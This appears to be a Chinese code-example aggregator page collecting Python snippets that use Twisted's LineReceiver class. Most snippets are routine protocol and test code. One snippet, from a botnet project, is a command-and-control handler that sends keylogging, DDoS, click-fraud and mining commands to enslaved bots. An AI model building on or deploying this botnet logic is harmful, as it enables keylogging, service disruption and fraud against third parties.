Python twisted.protocols.basic 模块,LineReceiver() 实例源码

我们从Python开源项目中,提取了以下43个代码示例,用于说明如何使用twisted.protocols.basic.LineReceiver()

项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def dataReceived(self, data):
        """This hack is to support mIRC, which sends LF only,
        even though the RFC says CRLF.  (Also, the flexibility
        of LineReceiver to turn "line mode" on and off was not
        required.)
        """
        lines = (self.buffer + data).split(LF)
        # Put the (possibly empty) element after the last LF back in the
        # buffer
        self.buffer = lines.pop()

        for line in lines:
            if len(line) <= 2:
                # This is a blank line, at best.
                continue
            if line[-1] == CR:
                line = line[:-1]
            prefix, command, params = parsemsg(line)
            # mIRC is a big pile of doo-doo
            command = command.upper()
            # DEBUG: log.msg( "%s %s %s" % (prefix, command, params))

            self.handleCommand(command, prefix, params)
项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def rawDataReceived(self, data):
        if self.timeout > 0:
            self.resetTimeout()

        self._pendingSize -= len(data)
        if self._pendingSize > 0:
            self._pendingBuffer.write(data)
        else:
            passon = ''
            if self._pendingSize < 0:
                data, passon = data[:self._pendingSize], data[self._pendingSize:]
            self._pendingBuffer.write(data)
            rest = self._pendingBuffer
            self._pendingBuffer = None
            self._pendingSize = None
            rest.seek(0, 0)
            self._parts.append(rest.read())
            self.setLineMode(passon.lstrip('\r\n'))

#    def sendLine(self, line):
#        print 'S:', repr(line)
#        return basic.LineReceiver.sendLine(self, line)
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def dataReceived(self, data):
        """This hack is to support mIRC, which sends LF only,
        even though the RFC says CRLF.  (Also, the flexibility
        of LineReceiver to turn "line mode" on and off was not
        required.)
        """
        lines = (self.buffer + data).split(LF)
        # Put the (possibly empty) element after the last LF back in the
        # buffer
        self.buffer = lines.pop()

        for line in lines:
            if len(line) <= 2:
                # This is a blank line, at best.
                continue
            if line[-1] == CR:
                line = line[:-1]
            prefix, command, params = parsemsg(line)
            # mIRC is a big pile of doo-doo
            command = command.upper()
            # DEBUG: log.msg( "%s %s %s" % (prefix, command, params))

            self.handleCommand(command, prefix, params)
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def rawDataReceived(self, data):
        if self.timeout > 0:
            self.resetTimeout()

        self._pendingSize -= len(data)
        if self._pendingSize > 0:
            self._pendingBuffer.write(data)
        else:
            passon = ''
            if self._pendingSize < 0:
                data, passon = data[:self._pendingSize], data[self._pendingSize:]
            self._pendingBuffer.write(data)
            rest = self._pendingBuffer
            self._pendingBuffer = None
            self._pendingSize = None
            rest.seek(0, 0)
            self._parts.append(rest.read())
            self.setLineMode(passon.lstrip('\r\n'))

#    def sendLine(self, line):
#        print 'S:', repr(line)
#        return basic.LineReceiver.sendLine(self, line)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def dataReceived(self, data):
        """
        This hack is to support mIRC, which sends LF only, even though the RFC
        says CRLF.  (Also, the flexibility of LineReceiver to turn "line mode"
        on and off was not required.)
        """
        if isinstance(data, bytes):
            data = data.decode("utf-8")
        lines = (self.buffer + data).split(LF)
        # Put the (possibly empty) element after the last LF back in the
        # buffer
        self.buffer = lines.pop()

        for line in lines:
            if len(line) <= 2:
                # This is a blank line, at best.
                continue
            if line[-1] == CR:
                line = line[:-1]
            prefix, command, params = parsemsg(line)
            # mIRC is a big pile of doo-doo
            command = command.upper()
            # DEBUG: log.msg( "%s %s %s" % (prefix, command, params))

            self.handleCommand(command, prefix, params)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def test_clearLineBuffer(self):
        """
        L{LineReceiver.clearLineBuffer} removes all buffered data and returns
        it as a C{bytes} and can be called from beneath C{dataReceived}.
        """
        class ClearingReceiver(basic.LineReceiver):
            def lineReceived(self, line):
                self.line = line
                self.rest = self.clearLineBuffer()

        protocol = ClearingReceiver()
        protocol.dataReceived(b'foo\r\nbar\r\nbaz')
        self.assertEqual(protocol.line, b'foo')
        self.assertEqual(protocol.rest, b'bar\r\nbaz')

        # Deliver another line to make sure the previously buffered data is
        # really gone.
        protocol.dataReceived(b'quux\r\n')
        self.assertEqual(protocol.line, b'quux')
        self.assertEqual(protocol.rest, b'')
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def rawDataReceived(self, data):
        if self.timeout > 0:
            self.resetTimeout()

        self._pendingSize -= len(data)
        if self._pendingSize > 0:
            self._pendingBuffer.write(data)
        else:
            passon = ''
            if self._pendingSize < 0:
                data, passon = data[:self._pendingSize], data[self._pendingSize:]
            self._pendingBuffer.write(data)
            rest = self._pendingBuffer
            self._pendingBuffer = None
            self._pendingSize = None
            rest.seek(0, 0)
            self._parts.append(rest.read())
            self.setLineMode(passon.lstrip('\r\n'))

#    def sendLine(self, line):
#        print 'S:', repr(line)
#        return basic.LineReceiver.sendLine(self, line)
项目:enigma2-plugins    作者:opendreambox    | 项目源码 | 文件源码
def dataReceived(self, data):
        """This hack is to support mIRC, which sends LF only,
        even though the RFC says CRLF.  (Also, the flexibility
        of LineReceiver to turn "line mode" on and off was not
        required.)
        """
        lines = (self.buffer + data).split(LF)
        # Put the (possibly empty) element after the last LF back in the
        # buffer
        self.buffer = lines.pop()

        for line in lines:
            if len(line) <= 2:
                # This is a blank line, at best.
                continue
            if line[-1] == CR:
                line = line[:-1]
            prefix, command, params = parsemsg(line)
            # mIRC is a big pile of doo-doo
            command = command.upper()
            # DEBUG: log.msg( "%s %s %s" % (prefix, command, params))

            self.handleCommand(command, prefix, params)
项目:code    作者:ActiveState    | 项目源码 | 文件源码
def connectionMade(self):
        basic.LineReceiver.connectionMade(self)
        self.expectingSalt = True
项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def _reallySendLine(self, line):
        return basic.LineReceiver.sendLine(self, lowQuote(line) + '\r')
项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def dataReceived(self, data):
        basic.LineReceiver.dataReceived(self, data.replace('\r', ''))
项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def connectionLost(self, reason):
        basic.LineReceiver.connectionLost(self, reason)
        TelnetProtocol.connectionLost(self, reason)
项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def sendLine(self, line):
        """Throw up if the line is longer than 1022 characters"""
        if len(line) > self.MAX_LENGTH - 2:
            raise ValueError("DictClient tried to send a too long line")
        basic.LineReceiver.sendLine(self, line)
项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def sendLine(self, line):
        """(Private) Sends a line, unless line is None."""
        if line is None:
            return
        basic.LineReceiver.sendLine(self, line)
项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def dataReceived(self, data):
        try:
            basic.LineReceiver.dataReceived(self, data)
        except:
            log.err()
            self.invalidMessage()
项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def _unblock(self):
        commands = self.blocked
        self.blocked = None
        while commands and self.blocked is None:
            self.lineReceived(commands.pop(0))
        if self.blocked is not None:
            self.blocked.extend(commands)

#    def sendLine(self, line):
#        print 'C:', repr(line)
#        return basic.LineReceiver.sendLine(self, line)
项目:hostapd-mana    作者:adde88    | 项目源码 | 文件源码
def sendLine(self, line):
        # Log sendLine only if you are in debug mode for performance
        if self.debug:
            self.log.append('>>> ' + line)

        basic.LineReceiver.sendLine(self,line)
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def _reallySendLine(self, line):
        return basic.LineReceiver.sendLine(self, lowQuote(line) + '\r')
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def dataReceived(self, data):
        basic.LineReceiver.dataReceived(self, data.replace('\r', ''))
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def connectionLost(self, reason):
        basic.LineReceiver.connectionLost(self, reason)
        TelnetProtocol.connectionLost(self, reason)
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def sendLine(self, line):
        """Throw up if the line is longer than 1022 characters"""
        if len(line) > self.MAX_LENGTH - 2:
            raise ValueError("DictClient tried to send a too long line")
        basic.LineReceiver.sendLine(self, line)
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def sendLine(self, line):
        """(Private) Sends a line, unless line is None."""
        if line is None:
            return
        basic.LineReceiver.sendLine(self, line)
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def dataReceived(self, data):
        try:
            basic.LineReceiver.dataReceived(self, data)
        except:
            log.err()
            self.invalidMessage()
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def _unblock(self):
        commands = self.blocked
        self.blocked = None
        while commands and self.blocked is None:
            self.lineReceived(commands.pop(0))
        if self.blocked is not None:
            self.blocked.extend(commands)

#    def sendLine(self, line):
#        print 'C:', repr(line)
#        return basic.LineReceiver.sendLine(self, line)
项目:sslstrip-hsts-openwrt    作者:adde88    | 项目源码 | 文件源码
def sendLine(self, line):
        # Log sendLine only if you are in debug mode for performance
        if self.debug:
            self.log.append('>>> ' + line)

        basic.LineReceiver.sendLine(self,line)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def _reallySendLine(self, line):
        quoteLine = lowQuote(line)
        if isinstance(quoteLine, unicode):
            quoteLine = quoteLine.encode("utf-8")
        quoteLine += b'\r'
        return basic.LineReceiver.sendLine(self, quoteLine)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def connectionLost(self, reason):
        basic.LineReceiver.connectionLost(self, reason)
        self.stopHeartbeat()
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def dataReceived(self, data):
        if isinstance(data, unicode):
            data = data.encode("utf-8")
        data = data.replace(b'\r', b'')
        basic.LineReceiver.dataReceived(self, data)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def connectionLost(self, reason):
        basic.LineReceiver.connectionLost(self, reason)
        TelnetProtocol.connectionLost(self, reason)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def sendLine(self, line):
        """
        Sends a line, unless line is None.

        @param line: Line to send
        @type line: L{bytes} or L{unicode}
        """
        if line is None:
            return
        elif isinstance(line, unicode):
            line = line.encode(self._encoding)
        basic.LineReceiver.sendLine(self, line)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def test_rawDataError(self):
        """
        C{LineReceiver.dataReceived} forwards errors returned by
        C{rawDataReceived}.
        """
        proto = basic.LineReceiver()
        proto.rawDataReceived = lambda data: RuntimeError("oops")
        transport = proto_helpers.StringTransport()
        proto.makeConnection(transport)
        proto.setRawMode()
        why = proto.dataReceived(b'data')
        self.assertIsInstance(why, RuntimeError)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def test_rawDataReceivedNotImplemented(self):
        """
        When L{LineReceiver.rawDataReceived} is not overridden in a
        subclass, calling it raises C{NotImplementedError}.
        """
        proto = basic.LineReceiver()
        self.assertRaises(NotImplementedError, proto.rawDataReceived, 'foo')
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def test_longUnendedLine(self):
        """
        If more bytes than C{LineReceiver.MAX_LENGTH} arrive containing no line
        delimiter, all of the bytes are passed as a single string to
        L{LineReceiver.lineLengthExceeded}.
        """
        excessive = b'x' * (self.proto.MAX_LENGTH * 2 + 2)
        self.proto.dataReceived(excessive)
        self.assertEqual([excessive], self.proto.longLines)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def test_longLineAfterShortLine(self):
        """
        If L{LineReceiver.dataReceived} is called with bytes representing a
        short line followed by bytes that exceed the length limit without a
        line delimiter, L{LineReceiver.lineLengthExceeded} is called with all
        of the bytes following the short line's delimiter.
        """
        excessive = b'x' * (self.proto.MAX_LENGTH * 2 + 2)
        self.proto.dataReceived(b'x' + self.proto.delimiter + excessive)
        self.assertEqual([excessive], self.proto.longLines)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def test_longLineWithDelimiter(self):
        """
        If L{LineReceiver.dataReceived} is called with more than
        C{LineReceiver.MAX_LENGTH} bytes containing a line delimiter somewhere
        not in the first C{MAX_LENGTH} bytes, the entire byte string is passed
        to L{LineReceiver.lineLengthExceeded}.
        """
        excessive = self.proto.delimiter.join(
            [b'x' * (self.proto.MAX_LENGTH * 2 + 2)] * 2)
        self.proto.dataReceived(excessive)
        self.assertEqual([excessive], self.proto.longLines)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def test_multipleLongLines(self):
        """
        If L{LineReceiver.dataReceived} is called with more than
        C{LineReceiver.MAX_LENGTH} bytes containing multiple line delimiters
        somewhere not in the first C{MAX_LENGTH} bytes, the entire byte string
        is passed to L{LineReceiver.lineLengthExceeded}.
        """
        excessive = (
            b'x' * (self.proto.MAX_LENGTH * 2 + 2) + self.proto.delimiter) * 2
        self.proto.dataReceived(excessive)
        self.assertEqual([excessive], self.proto.longLines)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def test_maximumLineLength(self):
        """
        C{LineReceiver} disconnects the transport if it receives a line longer
        than its C{MAX_LENGTH}.
        """
        proto = basic.LineReceiver()
        transport = proto_helpers.StringTransport()
        proto.makeConnection(transport)
        proto.dataReceived(b'x' * (proto.MAX_LENGTH + 1) + b'\r\nr')
        self.assertTrue(transport.disconnecting)
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def dataReceived(self, data):
        try:
            if isinstance(data, unicode):
                data = data.encode("utf-8")
            basic.LineReceiver.dataReceived(self, data)
        except:
            log.err()
            self.invalidMessage()
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def sendLine(self, line):
        # Log sendLine only if you are in debug mode for performance
        if self.debug:
            self.log.append('>>> ' + line)

        basic.LineReceiver.sendLine(self,line)
项目:enigma2-plugins    作者:opendreambox    | 项目源码 | 文件源码
def _reallySendLine(self, line):
        return basic.LineReceiver.sendLine(self, lowQuote(line) + '\r')
项目:enigma2-plugins    作者:opendreambox    | 项目源码 | 文件源码
def dataReceived(self, data):
        basic.LineReceiver.dataReceived(self, data.replace('\r', ''))
项目:PythonP2PBotnet    作者:jhoward321    | 项目源码 | 文件源码
def parsecommands(self, line):
        tmp = line.split(' ')
        cmd = tmp[0].upper()
        if cmd == 'KEYLOG':
            # Iterate through bot list and send command out in mass.
            # This can be changed depending on the command
            for key, val in self.slaves.iteritems():
                output = 'Starting keylogger for bot {0}\n'.format(key)
                self.transport.write(output)
                # actually send commands out on DHT to bot.
                # Val is the bot's individual location it checks for commands
                botcmd = str(self.count) + " " + cmd
                self.kserver.set(val, botcmd)
        if cmd == 'DDOS':
            for key, val in self.slaves.iteritems():
                output = 'Starting DDOS for bot {0}\n'.format(key)
                self.transport.write(output)
                botcmd = str(self.count) + " " + line
                self.kserver.set(val, botcmd)
        if cmd == 'DOWNLOAD':
            for key, val in self.slaves.iteritems():
                output = 'Starting DOWNLOAD for bot {0}\n'.format(key)
                self.transport.write(output)
                botcmd = str(self.count) + " " + line
                self.kserver.set(val, botcmd)
        if cmd == 'UPLOAD':
            for key, val in self.slaves.iteritems():
                output = 'Starting UPLOAD for bot {0}\n'.format(key)
                self.transport.write(output)
                botcmd = str(self.count) + " " + line
                self.kserver.set(val, botcmd)

        if cmd == 'BITCOIN':
            print("This feature isn't fully implemented, should work "
                  "but highly insecure and slow")
            for key, val in self.slaves.iteritems():
                output = 'Starting BITCOIN MINING for bot {0}\n'.format(key)
                self.transport.write(output)
                botcmd = str(self.count) + " " + line
                self.kserver.set(val, botcmd)
        if cmd == 'CLICKFRAUD':
            for key, val in self.slaves.iteritems():
                output = 'Starting CLICKFRAUD for bot {0}\n'.format(key)
                self.transport.write(output)
                botcmd = str(self.count) + " " + line
                self.kserver.set(val, botcmd)

    # this is called on the initial startup as part of the LineReceiver class
项目:zenchmarks    作者:squeaky-pl    | 项目源码 | 文件源码
def lineReceived(self, line):
        self.resetTimeout()
        self.pauseProducing()
        if bytes != str:
            line = line.decode(self._encoding)

        def processFailed(err):
            if err.check(FTPCmdError):
                self.sendLine(err.value.response())
            elif (err.check(TypeError) and any((
                    msg in err.value.args[0] for msg in (
                        'takes exactly', 'required positional argument')))):
                self.reply(SYNTAX_ERR, "%s requires an argument." % (cmd,))
            else:
                log.msg("Unexpected FTP error")
                log.err(err)
                self.reply(REQ_ACTN_NOT_TAKEN, "internal server error")

        def processSucceeded(result):
            if isinstance(result, tuple):
                self.reply(*result)
            elif result is not None:
                self.reply(result)

        def allDone(ignored):
            if not self.disconnected:
                self.resumeProducing()

        spaceIndex = line.find(' ')
        if spaceIndex != -1:
            cmd = line[:spaceIndex]
            args = (line[spaceIndex + 1:],)
        else:
            cmd = line
            args = ()
        d = defer.maybeDeferred(self.processCommand, cmd, *args)
        d.addCallbacks(processSucceeded, processFailed)
        d.addErrback(log.err)

        # XXX It burnsss
        # LineReceiver doesn't let you resumeProducing inside
        # lineReceived atm
        from twisted.internet import reactor
        reactor.callLater(0, d.addBoth, allDone)